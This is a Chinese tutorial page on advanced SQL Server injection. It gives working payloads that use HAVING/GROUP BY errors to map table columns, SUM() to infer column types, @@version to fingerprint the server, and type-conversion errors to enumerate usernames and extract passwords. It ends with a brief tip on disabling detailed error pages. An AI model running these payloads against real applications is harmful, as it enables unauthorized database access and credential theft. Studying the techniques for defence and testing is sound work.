首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 高階注入技術(三):HAVING/GROUP BY 探測結構、型別轉換竊取資料、@@version 版本探測

     編輯:關於SqlServer

結構探測:HAVING + GROUP BY 逐步揭露欄位

  1. ' HAVING 1=1 -- → 錯誤揭露第一欄 users.id
  2. ' GROUP BY users.id HAVING 1=1 -- → 錯誤揭露第二欄 users.username
  3. 依此類推加入 GROUP BY users.id, users.username, users.password, users.privs 直到無錯誤,確認完整欄位清單與順序。

資料型別判斷:SUM() 強制轉換

' UNION SELECT SUM(username) FROM users--  -- 錯誤提示 varchar 不能 SUM → username 是字串
' UNION SELECT SUM(id) FROM users--       -- 若報錯欄位數不符 → id 是數值型

資料竊取:型別轉換錯誤回顯

  • 版本探測:' UNION SELECT @@version,1,1,1-- → 錯誤訊息完整顯示 SQL Server 版本與作業系統建置號。
  • 枚舉用戶名:' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'a'-- 依序取出 admin, chris, fred...
  • 竊取密碼:' UNION SELECT password,1,1,1 FROM users WHERE username='admin'-- → 錯誤顯示 r00tr0x!。
  • 串聯欄位一次帶出:SELECT @ret=@ret+' '+username+'/'+password FROM users WHERE username>@ret 構造長字串轉換報錯。

前提: 應用程式將詳細錯誤訊息回顯給用戶(ASP.NET 預設 customErrors=Off)。生產環境務必關閉詳細錯誤頁面,統一導向友善錯誤頁,切斷此攻擊鏈關鍵資訊來源。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved